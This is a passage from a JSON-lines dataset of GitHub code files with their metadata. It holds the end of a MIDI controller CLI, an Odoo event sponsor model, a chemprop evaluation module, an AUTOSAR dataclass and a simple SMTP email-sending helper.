ctx.obj[RTMIDI_MIDI_IN].close_port()\n        del(ctx.obj[RTMIDI_MIDI_IN])\n    if ctx.obj[RTMIDI_MIDI_OUT].is_port_open():\n        ctx.obj[RTMIDI_MIDI_OUT].close_port()\n        del (ctx.obj[RTMIDI_MIDI_OUT])\n\n\ndef main():\n    # Starting the command line interface\n    cli()\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "AndreasPantle/X-Touch-Mini-HandsOn", "sub_path": "cli/xtm.py", "file_name": "xtm.py", "file_ext": "py", "file_size_in_byte": 13374, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "70", "api": [{"api_name": "rich.console.Console", "line_number": 10, "usage_type": "call"}, {"api_name": "rtmidi.MidiIn", "line_number": 80, "usage_type": "call"}, {"api_name": "rtmidi.MidiOut", "line_number": 81, "usage_type": "call"}, {"api_name": "rich_click.group", "line_number": 36, "usage_type": "call"}, {"api_name": "rich_click.option", "line_number": 37, "usage_type": "call"}, {"api_name": "rich_click.option", "line_number": 44, "usage_type": "call"}, {"api_name": "rich_click.option", "line_number": 50, "usage_type": "call"}, {"api_name": "rich_click.pass_context", "line_number": 56, "usage_type": "attribute"}, {"api_name": "rich.table.Table", "line_number": 93, "usage_type": "call"}, {"api_name": "rich.table.Table", "line_number": 102, "usage_type": "call"}, {"api_name": "rich_click.pass_context", "line_number": 85, "usage_type": "attribute"}, {"api_name": "sysexdata.SYSEX_DEVICE_INFO", "line_number": 123, "usage_type": "argument"}, {"api_name": "utils.bytes_to_hex_str", "line_number": 126, "usage_type": "call"}, {"api_name": "time.time", "line_number": 129, "usage_type": "call"}, {"api_name": "time.time", "line_number": 133, "usage_type": "call"}, {"api_name": "utils.bytes_to_hex_str", "line_number": 140, "usage_type": "call"}, {"api_name": "rich.table.Table", "line_number": 145, "usage_type": "call"}, {"api_name": "rtmidi.InvalidPortError", "line_number": 163, "usage_type": "attribute"}, {"api_name": "rtmidi.InvalidUseError", "line_number": 167, "usage_type": "attribute"}, {"api_name": "rich_click.pass_context", "line_number": 111, "usage_type": "attribute"}, {"api_name": "sysexdata.SYSEX_MODE_SWITCH", "line_number": 197, "usage_type": "name"}, {"api_name": "utils.bytes_to_hex_str", "line_number": 200, "usage_type": "call"}, {"api_name": "time.time", "line_number": 203, "usage_type": "call"}, {"api_name": "time.time", "line_number": 207, "usage_type": "call"}, {"api_name": "utils.bytes_to_hex_str", "line_number": 214, "usage_type": "call"}, {"api_name": "rtmidi.InvalidPortError", "line_number": 220, "usage_type": "attribute"}, {"api_name": "rtmidi.InvalidUseError", "line_number": 224, "usage_type": "attribute"}, {"api_name": "rich_click.argument", "line_number": 178, "usage_type": "call"}, {"api_name": "rich_click.pass_context", "line_number": 179, "usage_type": "attribute"}, {"api_name": "sysexdata.SYSEX_DEVICE_ID", "line_number": 252, "usage_type": "name"}, {"api_name": "utils.bytes_to_hex_str", "line_number": 255, "usage_type": "call"}, {"api_name": "time.time", "line_number": 258, "usage_type": "call"}, {"api_name": "time.time", "line_number": 262, "usage_type": "call"}, {"api_name": "utils.bytes_to_hex_str", "line_number": 269, "usage_type": "call"}, {"api_name": "rtmidi.InvalidPortError", "line_number": 275, "usage_type": "attribute"}, {"api_name": "rtmidi.InvalidUseError", "line_number": 279, "usage_type": "attribute"}, {"api_name": "rich_click.argument", "line_number": 235, "usage_type": "call"}, {"api_name": "rich_click.pass_context", "line_number": 236, "usage_type": "attribute"}, {"api_name": "sysexdata.SYSEX_GLOBAL_CH", "line_number": 308, "usage_type": "name"}, {"api_name": "sysexdata.SYSEX_GLOBAL_CH", "line_number": 310, "usage_type": "name"}, {"api_name": "utils.bytes_to_hex_str", "line_number": 313, "usage_type": "call"}, {"api_name": "time.time", "line_number": 316, "usage_type": "call"}, {"api_name": "time.time", "line_number": 320, "usage_type": "call"}, {"api_name": "utils.bytes_to_hex_str", "line_number": 327, "usage_type": "call"}, {"api_name": "rtmidi.InvalidPortError", "line_number": 333, "usage_type": "attribute"}, {"api_name": "rtmidi.InvalidUseError", "line_number": 337, "usage_type": "attribute"}, {"api_name": "rich_click.argument", "line_number": 290, "usage_type": "call"}, {"api_name": "rich_click.pass_context", "line_number": 291, "usage_type": "attribute"}, {"api_name": "rich_click.pass_context", "line_number": 348, "usage_type": "attribute"}]}
{"seq_id": "33948557695", "text": "from datetime import datetime, timedelta\nfrom pytz import timezone, utc\n\nfrom odoo import api, fields, models, _\nfrom odoo.addons.http_routing.models.ir_http import slug\nfrom odoo.addons.resource.models.utils import float_to_time\nfrom odoo.tools import is_html_empty\nfrom odoo.tools.translate import html_translate\n\n\nclass Sponsor(models.Model):\n    _name = \"event.sponsor\"\n    _description = 'Event Sponsor'\n    _order = \"sequence, sponsor_type_id\"\n    # _order = 'sponsor_type_id, sequence' TDE FIXME\n    _rec_name = 'name'\n    _inherit = [\n        'mail.thread',\n        'mail.activity.mixin',\n        'website.published.mixin',\n        'chat.room.mixin'\n    ]\n\n    def _default_sponsor_type_id(self):\n        return self.env['event.sponsor.type'].search([], order=\"sequence desc\", limit=1).id\n\n    event_id = fields.Many2one('event.event', 'Event', required=True)\n    sponsor_type_id = fields.Many2one(\n        'event.sponsor.type', 'Sponsorship Level',\n        default=lambda self: self._default_sponsor_type_id(), required=True, auto_join=True)\n    url = fields.Char('Sponsor Website', compute='_compute_url', readonly=False, store=True)\n    sequence = fields.Integer('Sequence')\n    active = fields.Boolean(default=True)\n    # description\n    subtitle = fields.Char('Slogan')\n    exhibitor_type = fields.Selection(\n        [('sponsor', 'Footer Logo Only'), ('exhibitor', 'Exhibitor'), ('online', 'Online Exhibitor')],\n        string=\"Sponsor Type\", default=\"sponsor\")\n    website_description = fields.Html(\n        'Description', compute='_compute_website_description',\n        sanitize_overridable=True,\n        sanitize_attributes=False, sanitize_form=True, translate=html_translate,\n        readonly=False, store=True)\n    # contact information\n    partner_id = fields.Many2one('res.partner', 'Partner', required=True, auto_join=True)\n    partner_name = fields.Char('Name', related='partner_id.name')\n    partner_email = fields.Char('Email', related='partner_id.email')\n    partner_phone = fields.Char('Phone', related='partner_id.phone')\n    partner_mobile = fields.Char('Mobile', related='partner_id.mobile')\n    name = fields.Char('Sponsor Name', compute='_compute_name', readonly=False, store=True)\n    email = fields.Char('Sponsor Email', compute='_compute_email', readonly=False, store=True)\n    phone = fields.Char('Sponsor Phone', compute='_compute_phone', readonly=False, store=True)\n    mobile = fields.Char('Sponsor Mobile', compute='_compute_mobile', readonly=False, store=True)\n    # image\n    image_512 = fields.Image(\n        string=\"Logo\", max_width=512, max_height=512,\n        compute='_compute_image_512', readonly=False, store=True)\n    image_256 = fields.Image(\"Image 256\", related=\"image_512\", max_width=256, max_height=256, store=False)\n    image_128 = fields.Image(\"Image 128\", related=\"image_512\", max_width=128, max_height=128, store=False)\n    website_image_url = fields.Char(\n        string='Image URL',\n        compute='_compute_website_image_url', compute_sudo=True, store=False)\n    # live mode\n    hour_from = fields.Float('Opening hour', default=8.0)\n    hour_to = fields.Float('End hour', default=18.0)\n    event_date_tz = fields.Selection(string='Timezone', related='event_id.date_tz', readonly=True)\n    is_in_opening_hours = fields.Boolean(\n        'Within opening hours', compute='_compute_is_in_opening_hours')\n    # chat room\n    chat_room_id = fields.Many2one(readonly=False)\n    room_name = fields.Char(readonly=False)\n    # country information (related to ease frontend templates)\n    country_id = fields.Many2one(\n        'res.country', string='Country',\n        related='partner_id.country_id', readonly=True)\n    country_flag_url = fields.Char(\n        string='Country Flag',\n        compute='_compute_country_flag_url', compute_sudo=True)\n\n    @api.depends('partner_id')\n    def _compute_url(self):\n        for sponsor in self:\n            if sponsor.partner_id.website or not sponsor.url:\n                sponsor.url = sponsor.partner_id.website\n\n    @api.depends('partner_id')\n    def _compute_name(self):\n        self._synchronize_with_partner('name')\n\n    @api.depends('partner_id')\n    def _compute_email(self):\n        self._synchronize_with_partner('email')\n\n    @api.depends('partner_id')\n    def _compute_phone(self):\n        self._synchronize_with_partner('phone')\n\n    @api.depends('partner_id')\n    def _compute_mobile(self):\n        self._synchronize_with_partner('mobile')\n\n    @api.depends('partner_id')\n    def _compute_image_512(self):\n        self._synchronize_with_partner('image_512')\n\n    @api.depends('image_512', 'partner_id.image_256')\n    def _compute_website_image_url(self):\n        for sponsor in self:\n            if sponsor.image_512:\n                # image_512 is stored, image_256 is derived from it dynamically\n                sponsor.website_image_url = self.env['website'].image_url(sponsor, 'image_256', size=256)\n            elif sponsor.partner_id.image_256:\n                sponsor.website_image_url = self.env['website'].image_url(sponsor.partner_id, 'image_256', size=256)\n            else:\n                sponsor.website_image_url = 'website_event_exhibitor/static/src/img/event_sponsor_default_0.jpeg'\n\n    def _synchronize_with_partner(self, fname):\n        \"\"\" Synchronize with partner if not set. Setting a value does not write\n        on partner as this may be event-specific information. \"\"\"\n        for sponsor in self:\n            if not sponsor[fname]:\n                sponsor[fname] = sponsor.partner_id[fname]\n\n    @api.onchange('exhibitor_type')\n    def _onchange_exhibitor_type(self):\n        \"\"\" Keep an explicit onchange to allow configuration of room names, even\n        if this field is normally a related on chat_room_id.name. It is not a real\n        computed field, an onchange used in form view is sufficient. \"\"\"\n        for sponsor in self:\n            if sponsor.exhibitor_type == 'online' and not sponsor.room_name:\n                if sponsor.name:\n                    room_name = \"odoo-exhibitor-%s\" % sponsor.name\n                else:\n                    room_name = self.env['chat.room']._default_name(objname='exhibitor')\n                sponsor.room_name = self._jitsi_sanitize_name(room_name)\n            if sponsor.exhibitor_type == 'online' and not sponsor.room_max_capacity:\n                sponsor.room_max_capacity = '8'\n\n    @api.depends('partner_id')\n    def _compute_website_description(self):\n        for sponsor in self:\n            if is_html_empty(sponsor.website_description):\n                sponsor.website_description = sponsor.partner_id.website_description\n\n    @api.depends('event_id.is_ongoing', 'hour_from', 'hour_to', 'event_id.date_begin', 'event_id.date_end')\n    def _compute_is_in_opening_hours(self):\n        \"\"\" Opening hours: hour_from and hour_to are given within event TZ or UTC.\n        Now() must therefore be computed based on that TZ. \"\"\"\n        for sponsor in self:\n            if not sponsor.event_id.is_ongoing:\n                sponsor.is_in_opening_hours = False\n            elif sponsor.hour_from is False or sponsor.hour_to is False:\n                sponsor.is_in_opening_hours = True\n            else:\n                event_tz = timezone(sponsor.event_id.date_tz)\n                # localize now, begin and end datetimes in event tz\n                dt_begin = sponsor.event_id.date_begin.astimezone(event_tz)\n                dt_end = sponsor.event_id.date_end.astimezone(event_tz)\n                now_utc = utc.localize(fields.Datetime.now().replace(microsecond=0))\n                now_tz = now_utc.astimezone(event_tz)\n\n                # compute opening hours\n                opening_from_tz = event_tz.localize(datetime.combine(now_tz.date(), float_to_time(sponsor.hour_from)))\n                opening_to_tz = event_tz.localize(datetime.combine(now_tz.date(), float_to_time(sponsor.hour_to)))\n                if sponsor.hour_to == 0:\n                    # when closing 'at midnight', we consider it's at midnight the next day\n                    opening_to_tz = opening_to_tz + timedelta(days=1)\n\n                opening_from = max([dt_begin, opening_from_tz])\n                opening_to = min([dt_end, opening_to_tz])\n\n                sponsor.is_in_opening_hours = opening_from <= now_tz < opening_to\n\n    @api.depends('partner_id.country_id.image_url')\n    def _compute_country_flag_url(self):\n        for sponsor in self:\n            if sponsor.partner_id.country_id:\n                sponsor.country_flag_url = sponsor.partner_id.country_id.image_url\n            else:\n                sponsor.country_flag_url = False\n\n    # ------------------------------------------------------------\n    # MIXINS\n    # ---------------------------------------------------------\n\n    @api.depends('name', 'event_id.name')\n    def _compute_website_url(self):\n        super(Sponsor, self)._compute_website_url()\n        for sponsor in self:\n            if sponsor.id:  # avoid to perform a slug on a not yet saved record in case of an onchange.\n                base_url = sponsor.event_id.get_base_url()\n                sponsor.website_url = '%s/event/%s/exhibitor/%s' % (base_url, slug(sponsor.event_id), slug(sponsor))\n\n    # ------------------------------------------------------------\n    # CRUD\n    # ------------------------------------------------------------\n\n    @api.model_create_multi\n    def create(self, values_list):\n        for values in values_list:\n            if values.get('is_exhibitor') and not values.get('room_name'):\n                exhibitor_name = values['name'] if values.get('name') else self.env['res.partner'].browse(values['partner_id']).name\n                name = 'odoo-exhibitor-%s' % exhibitor_name or 'sponsor'\n                values['room_name'] = name\n        return super(Sponsor, self).create(values_list)\n\n    def write(self, values):\n        toupdate = self.env['event.sponsor']\n        if values.get('is_exhibitor') and not values.get('chat_room_id') and not values.get('room_name'):\n            toupdate = self.filtered(lambda exhibitor: not exhibitor.chat_room_id)\n            # go into sequential update in order to create a custom room name for each sponsor\n            for exhibitor in toupdate:\n                values['room_name'] = 'odoo-exhibitor-%s' % exhibitor.name\n                super(Sponsor, exhibitor).write(values)\n        return super(Sponsor, self - toupdate).write(values)\n\n    # ------------------------------------------------------------\n    # ACTIONS\n    # ---------------------------------------------------------\n\n    def get_backend_menu_id(self):\n        return self.env.ref('event.event_main_menu').id\n\n    # ------------------------------------------------------------\n    # MESSAGING\n    # ------------------------------------------------------------\n\n    def _message_get_suggested_recipients(self):\n        recipients = super(Sponsor, self)._message_get_suggested_recipients()\n        for sponsor in self:\n            if sponsor.partner_id:\n                sponsor._message_add_suggested_recipient(\n                    recipients,\n                    partner=sponsor.partner_id,\n                    reason=_('Sponsor')\n                )\n        return recipients\n", "repo_name": "odoo/odoo", "sub_path": "addons/website_event_exhibitor/models/event_sponsor.py", "file_name": "event_sponsor.py", "file_ext": "py", "file_size_in_byte": 11201, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 31745, "dataset": "github-code", "pt": "71", "api": [{"api_name": "odoo.models.Model", "line_number": 11, "usage_type": "attribute"}, {"api_name": "odoo.models", "line_number": 11, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 27, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 27, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 28, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 28, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 31, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 31, "usage_type": "name"}, {"api_name": "odoo.fields.Integer", "line_number": 32, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 32, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 33, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 33, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 35, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 35, "usage_type": "name"}, {"api_name": "odoo.fields.Selection", "line_number": 36, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 36, "usage_type": "name"}, {"api_name": "odoo.fields.Html", "line_number": 39, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 39, "usage_type": "name"}, {"api_name": "odoo.tools.translate.html_translate", "line_number": 42, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 45, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 45, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 46, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 46, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 47, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 47, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 48, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 48, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 49, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 49, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 50, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 50, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 51, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 51, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 52, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 52, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 53, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 53, "usage_type": "name"}, {"api_name": "odoo.fields.Image", "line_number": 55, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 55, "usage_type": "name"}, {"api_name": "odoo.fields.Image", "line_number": 58, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 58, "usage_type": "name"}, {"api_name": "odoo.fields.Image", "line_number": 59, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 59, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 60, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 60, "usage_type": "name"}, {"api_name": "odoo.fields.Float", "line_number": 64, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 64, "usage_type": "name"}, {"api_name": "odoo.fields.Float", "line_number": 65, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 65, "usage_type": "name"}, {"api_name": "odoo.fields.Selection", "line_number": 66, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 66, "usage_type": "name"}, {"api_name": "odoo.fields.Boolean", "line_number": 67, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 67, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 70, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 70, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 71, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 71, "usage_type": "name"}, {"api_name": "odoo.fields.Many2one", "line_number": 73, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 73, "usage_type": "name"}, {"api_name": "odoo.fields.Char", "line_number": 76, "usage_type": "call"}, {"api_name": "odoo.fields", "line_number": 76, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 80, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 80, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 86, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 86, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 90, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 90, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 94, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 94, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 98, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 98, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 102, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 102, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 106, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 106, "usage_type": "name"}, {"api_name": "odoo.api.onchange", "line_number": 124, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 124, "usage_type": "name"}, {"api_name": "odoo.tools.is_html_empty", "line_number": 142, "usage_type": "call"}, {"api_name": "odoo.api.depends", "line_number": 139, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 139, "usage_type": "name"}, {"api_name": "pytz.timezone", "line_number": 155, "usage_type": "call"}, {"api_name": "pytz.utc.localize", "line_number": 159, "usage_type": "call"}, {"api_name": "pytz.utc", "line_number": 159, "usage_type": "name"}, {"api_name": "odoo.fields.Datetime.now", "line_number": 159, "usage_type": "call"}, {"api_name": "odoo.fields.Datetime", "line_number": 159, "usage_type": "attribute"}, {"api_name": "odoo.fields", "line_number": 159, "usage_type": "name"}, {"api_name": "datetime.datetime.combine", "line_number": 163, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 163, "usage_type": "name"}, {"api_name": "odoo.addons.resource.models.utils.float_to_time", "line_number": 163, "usage_type": "call"}, {"api_name": "datetime.datetime.combine", "line_number": 164, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 164, "usage_type": "name"}, {"api_name": "odoo.addons.resource.models.utils.float_to_time", "line_number": 164, "usage_type": "call"}, {"api_name": "datetime.timedelta", "line_number": 167, "usage_type": "call"}, {"api_name": "odoo.api.depends", "line_number": 145, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 145, "usage_type": "name"}, {"api_name": "odoo.api.depends", "line_number": 174, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 174, "usage_type": "name"}, {"api_name": "odoo.addons.http_routing.models.ir_http.slug", "line_number": 192, "usage_type": "call"}, {"api_name": "odoo.api.depends", "line_number": 186, "usage_type": "call"}, {"api_name": "odoo.api", "line_number": 186, "usage_type": "name"}, {"api_name": "odoo.api.model_create_multi", "line_number": 198, "usage_type": "attribute"}, {"api_name": "odoo.api", "line_number": 198, "usage_type": "name"}, {"api_name": "odoo._", "line_number": 235, "usage_type": "call"}]}
{"seq_id": "4424554145", "text": "from typing import Callable, List\n\nfrom data import MoleculeFactorDataset\nfrom model import MatrixFactorizer\nfrom predict import predict\n\nfrom chemprop.data.scaler import StandardScaler\n\n\ndef evaluate_predictions(targets: List[int],\n                         preds: List[float],\n                         num_tasks: int,\n                         task_indices: List[int],\n                         metric_func: Callable) -> List[float]:\n    targets_by_task = [[] for _ in range(num_tasks)]\n    preds_by_task = [[] for _ in range(num_tasks)]\n\n    for target, pred, task_index in zip(targets, preds, task_indices):\n        targets_by_task[task_index].append(target)\n        preds_by_task[task_index].append(pred)\n\n    results = []\n    for task_targets, task_preds in zip(targets_by_task, preds_by_task):\n        results.append(metric_func(task_targets, task_preds))\n\n    return results\n\n\ndef evaluate(model: MatrixFactorizer,\n             data: MoleculeFactorDataset,\n             num_tasks: int,\n             metric_func: Callable,\n             batch_size: int,\n             scaler: StandardScaler = None,\n             random_mol_embeddings: bool = False) -> List[float]:\n    preds = predict(\n        model=model,\n        data=data,\n        batch_size=batch_size,\n        scaler=scaler,\n        random_mol_embeddings=random_mol_embeddings\n    )\n\n    targets = data.targets()\n    task_indices = data.task_indices()\n\n    score = evaluate_predictions(\n        targets=targets,\n        preds=preds,\n        num_tasks=num_tasks,\n        task_indices=task_indices,\n        metric_func=metric_func\n    )\n\n    return score\n", "repo_name": "swansonk14/chemprop-factor", "sub_path": "evaluate.py", "file_name": "evaluate.py", "file_ext": "py", "file_size_in_byte": 1610, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 11, "dataset": "github-code", "pt": "70", "api": [{"api_name": "typing.List", "line_number": 10, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 11, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 13, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 14, "usage_type": "name"}, {"api_name": "model.MatrixFactorizer", "line_number": 29, "usage_type": "name"}, {"api_name": "data.MoleculeFactorDataset", "line_number": 30, "usage_type": "name"}, {"api_name": "typing.Callable", "line_number": 32, "usage_type": "name"}, {"api_name": "chemprop.data.scaler.StandardScaler", "line_number": 34, "usage_type": "name"}, {"api_name": "predict.predict", "line_number": 36, "usage_type": "call"}, {"api_name": "data.targets", "line_number": 44, "usage_type": "call"}, {"api_name": "data.task_indices", "line_number": 45, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 35, "usage_type": "name"}]}
{"seq_id": "43179540162", "text": "from dataclasses import dataclass, field\nfrom typing import List, Optional\nfrom .compu_const import CompuConst\nfrom .compu_scale import CompuScale\n\n__NAMESPACE__ = \"http://autosar.org/schema/r4.0\"\n\n\n@dataclass\nclass Compu:\n    \"\"\"\n    This meta-class represents the ability to express one particular computation.\n\n    :ivar compu_scales: This represents one scale within the compu\n        method. Note that it contains a Variationpoint in order to\n        support blueprints of enumerations. The upper multiplicity of\n        this role has been increased to * due to resolving an\n        atpVariation stereotype. The previous value was -1.\n    :ivar compu_default_value: This property can be used to specify an\n        output value for a conversion formula, if the value to be\n        converted lies outside the plausibility limit. Although this is\n        possible for all conversion formulae, it is especially valid for\n        variables with tabular conversion formulae.\n    :ivar s: Checksum calculated by the user's tool environment for an\n        ArObject. May be used in an own tool environment to determine if\n        an ArObject has changed. The checksum has no semantic meaning\n        for an AUTOSAR model and there is no requirement for AUTOSAR\n        tools to manage the checksum.\n    :ivar t: Timestamp calculated by the user's tool environment for an\n        ArObject. May be used in an own tool environment to determine\n        the last change of an ArObject. The timestamp has no semantic\n        meaning for an AUTOSAR model and there is no requirement for\n        AUTOSAR tools to manage the timestamp.\n    \"\"\"\n    class Meta:\n        name = \"COMPU\"\n\n    compu_scales: Optional[\"Compu.CompuScales\"] = field(\n        default=None,\n        metadata={\n            \"name\": \"COMPU-SCALES\",\n            \"type\": \"Element\",\n            \"namespace\": \"http://autosar.org/schema/r4.0\",\n        }\n    )\n    compu_default_value: Optional[CompuConst] = field(\n        default=None,\n        metadata={\n            \"name\": \"COMPU-DEFAULT-VALUE\",\n            \"type\": \"Element\",\n            \"namespace\": \"http://autosar.org/schema/r4.0\",\n        }\n    )\n    s: Optional[str] = field(\n        default=None,\n        metadata={\n            \"name\": \"S\",\n            \"type\": \"Attribute\",\n        }\n    )\n    t: Optional[str] = field(\n        default=None,\n        metadata={\n            \"name\": \"T\",\n            \"type\": \"Attribute\",\n            \"pattern\": r\"([0-9]{4}-[0-9]{2}-[0-9]{2})(T[0-9]{2}:[0-9]{2}:[0-9]{2}(Z|([+\\-][0-9]{2}:[0-9]{2})))?\",\n        }\n    )\n\n    @dataclass\n    class CompuScales:\n        compu_scale: List[CompuScale] = field(\n            default_factory=list,\n            metadata={\n                \"name\": \"COMPU-SCALE\",\n                \"type\": \"Element\",\n                \"namespace\": \"http://autosar.org/schema/r4.0\",\n            }\n        )\n", "repo_name": "tefra/xsdata-samples", "sub_path": "autosar/models/compu.py", "file_name": "compu.py", "file_ext": "py", "file_size_in_byte": 2864, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "70", "api": [{"api_name": "typing.Optional", "line_number": 38, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 38, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 46, "usage_type": "name"}, {"api_name": "compu_const.CompuConst", "line_number": 46, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 46, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 54, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 54, "usage_type": "call"}, {"api_name": "typing.Optional", "line_number": 61, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 61, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 72, "usage_type": "name"}, {"api_name": "compu_scale.CompuScale", "line_number": 72, "usage_type": "name"}, {"api_name": "dataclasses.field", "line_number": 72, "usage_type": "call"}, {"api_name": "dataclasses.dataclass", "line_number": 70, "usage_type": "name"}, {"api_name": "dataclasses.dataclass", "line_number": 9, "usage_type": "name"}]}
{"seq_id": "22778512919", "text": "import copy\nimport smtplib\nfrom email.mime.application import MIMEApplication\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.mime.image import MIMEImage\nfrom email.utils import COMMASPACE, formatdate\n\nfrom _env import (\n    EMAIL_USE_TLS,\n    EMAIL_HOST,\n    EMAIL_PORT,\n    EMAIL_HOST_USER,\n    EMAIL_HOST_PASSWORD,\n)\n\n\ndef send_email(\n    send_to,\n    send_cc,\n    send_bcc,\n    subject,\n    text,\n    files=None,\n    mime_type=\"plain\",\n    server=\"localhost\",\n    use_tls=True,\n):\n    assert isinstance(send_to, list)\n\n    msg = MIMEMultipart()\n    msg[\"From\"] = EMAIL_HOST_USER\n    msg[\"To\"] = COMMASPACE.join(send_to)\n    msg[\"Cc\"] = COMMASPACE.join(send_cc)\n    msg[\"Bcc\"] = COMMASPACE.join(send_bcc)\n    msg[\"Date\"] = formatdate(localtime=True)\n    msg[\"Subject\"] = subject\n    msg.attach(MIMEText(text, mime_type))\n\n    smtp = smtplib.SMTP(EMAIL_HOST, EMAIL_PORT)\n\n    if use_tls:\n        smtp.starttls()\n\n    smtp.login(EMAIL_HOST_USER, EMAIL_HOST_PASSWORD)\n    smtp.sendmail(EMAIL_HOST_USER, send_to + send_cc + send_bcc, msg.as_string())\n    smtp.close()\n", "repo_name": "SuperDev0123/python-cron-examples", "sub_path": "_email_lib.py", "file_name": "_email_lib.py", "file_ext": "py", "file_size_in_byte": 1114, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "70", "api": [{"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 31, "usage_type": "call"}, {"api_name": "_env.EMAIL_HOST_USER", "line_number": 32, "usage_type": "name"}, {"api_name": "email.utils.COMMASPACE.join", "line_number": 33, "usage_type": "call"}, {"api_name": "email.utils.COMMASPACE", "line_number": 33, "usage_type": "name"}, {"api_name": "email.utils.COMMASPACE.join", "line_number": 34, "usage_type": "call"}, {"api_name": "email.utils.COMMASPACE", "line_number": 34, "usage_type": "name"}, {"api_name": "email.utils.COMMASPACE.join", "line_number": 35, "usage_type": "call"}, {"api_name": "email.utils.COMMASPACE", "line_number": 35, "usage_type": "name"}, {"api_name": "email.utils.formatdate", "line_number": 36, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 38, "usage_type": "call"}, {"api_name": "smtplib.SMTP", "line_number": 40, "usage_type": "call"}, {"api_name": "_env.EMAIL_HOST", "line_number": 40, "usage_type": "argument"}, {"api_name": "_env.EMAIL_PORT", "line_number": 40, "usage_type": "argument"}, {"api_name": "_env.EMAIL_HOST_USER", "line_number": 45, "usage_type": "argument"}, {"api_name": "_env.EMAIL_HOST_PASSWORD", "line_number": 45, "usage_type": "argument"}, {"api_name": "_env.EMAIL_HOST_USER", "line_number": 46, "usage_type": "argument"}]}
